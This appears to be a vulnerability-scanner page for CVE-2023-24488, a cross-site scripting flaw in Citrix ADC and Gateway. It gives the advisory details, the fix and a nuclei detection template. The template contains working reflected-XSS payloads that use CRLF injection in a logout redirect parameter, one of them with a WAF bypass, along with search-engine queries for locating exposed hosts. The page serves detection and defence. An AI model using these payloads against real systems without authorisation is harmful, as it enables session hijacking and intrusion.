Citrix Gateway and Citrix ADC - Cross-Site Scripting

mediumseverity

6.1CVSS score

81.2%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Citrix ADC and Citrix Gateway versions before 13.1 and 13.1-45.61, 13.0 and 13.0-90.11, 12.1 and 12.1-65.35 contain a cross-site scripting vulnerability due to improper input validation.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary scripts in the context of the user's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.

Fix

Apply the necessary patches or updates provided by Citrix to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/oauth/idp/logout?post_logout_redirect_uri=%0D%0A%0D%0A%3Cbody+x=%27&%27onload=%22(alert)(%27citrix+akamai+bypass%27)%22%3E ; GET {{BaseURL}}/oauth/idp/logout?post_logout_redirect_uri=%0d%0a%0d%0a<script>alert(document.domain)</script>
Positive when: contains "<body x='&'onload=\"(alert)('citrix akamai bypass')\">" or "<script>alert(document.domain)</script>" AND contains "Content-Type: text/html" AND status 302

Run it with nuclei: nuclei -id CVE-2023-24488 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2023-24488

info:
  name: Citrix Gateway and Citrix ADC - Cross-Site Scripting
  author: johnk3r,DhiyaneshDk
  severity: medium
  description: |
    Citrix ADC and Citrix Gateway versions before 13.1 and 13.1-45.61, 13.0 and 13.0-90.11, 12.1 and 12.1-65.35 contain a cross-site scripting vulnerability due to improper input validation.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary scripts in the context of the user's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the necessary patches or updates provided by Citrix to mitigate this vulnerability.
  reference:
    - https://support.citrix.com/article/CTX477714/citrix-adc-and-citrix-gateway-security-bulletin-for-cve202324487-cve202324488
    - https://blog.assetnote.io/2023/06/29/citrix-xss-advisory/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-24488
    - https://twitter.com/infosec_au/status/1674786106381070342
    - https://twitter.com/bxmbn/status/1675250259608449026
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-24488
    cwe-id: CWE-79
    epss-score: 0.81169
    epss-percentile: 0.99638
    cpe: cpe:2.3:a:citrix:gateway:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: citrix
    product: gateway
    shodan-query:
      - title:"Citrix Gateway"
      - http.title:"citrix gateway"
    fofa-query: title="citrix gateway"
    google-query: intitle:"citrix gateway"
  tags: cve2023,cve,citrix,xss,adc,vkev,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/oauth/idp/logout?post_logout_redirect_uri=%0D%0A%0D%0A%3Cbody+x=%27&%27onload=%22(alert)(%27citrix+akamai+bypass%27)%22%3E'
      - '{{BaseURL}}/oauth/idp/logout?post_logout_redirect_uri=%0d%0a%0d%0a<script>alert(document.domain)</script>'

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - <body x='&'onload="(alert)('citrix akamai bypass')">
          - <script>alert(document.domain)</script>
        condition: or

      - type: word
        part: body
        words:
          - "Content-Type: text/html"

      - type: status
        status:
          - 302

References

Use this check only on systems you are authorised to test. Where the data comes from